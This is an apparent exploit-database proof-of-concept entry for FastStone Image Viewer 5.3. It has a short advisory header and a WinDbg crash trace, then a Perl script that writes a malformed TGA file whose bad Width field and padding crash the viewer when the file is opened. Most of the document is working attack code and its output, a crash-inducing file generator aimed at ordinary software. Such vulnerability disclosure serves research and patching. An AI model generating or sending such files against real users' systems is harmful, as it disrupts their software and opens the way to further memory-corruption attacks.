FastStone Image Viewer 5.3 .tga Crash PoC

# Exploit Title : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC

# Product : FastStoneImage Viewer

# Date : 25.02.2015

# Exploit Author : ITDefensor Vulnerability Research Team http://itdefensor.ru/

# Software Link : http://www.faststone.org/FSViewerDownload.htm

# Vulnerable version : 5.3 (Latest at the moment) and probably previous versions

# Vendor Homepage : http://www.faststone.org/

# Tested on : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008

# CVE : unknown at the moment

#============================================================================================

# Open created POC file (poc.tga) with FastStoneImage Viewer

# Details

#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000

#image00000000_00400000+0x9357:

#00409357 893a mov dword ptr [edx],edi ds:002b:00e00880=????????

#0:000:x86> kb

#ChildEBP RetAddr Args to Child

#WARNING: Stack unwind information not available. Following frames may be wrong.

#0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357

#0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000

#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374

#0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2

#============================================================================================

#!/usr/bin/perl -w

$tga_id = "tga poc example" ;

$tga_header = "\xf" . # IDLength

"\x00" . # ColorMapType

"\xa" ; # ImageType

$tga_cms_spec = "\x00\x00" . # FirstIndexEntry

"\x00\x00" . # ColorMapLength

"\x00" ; # ColorMapEntrySize

$tga_image_spec = "\x00\x00" . # XOrigin

"\x00\x00" . # YOrigin

"\x00\xa0" . # Width <--- ! Incorrect field, leads to application crash

"\x80\x00" . # Height

"\x10" . # PixelDepth

"\x1" ; # ImageDescriptor

$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;

$tga = $tga_file_header . "a" x 10000 ;

open FILE, ">poc.tga" or die("Can't open poc.tga\n") ;

binmode(FILE) ;

print FILE $tga ;

close FILE ;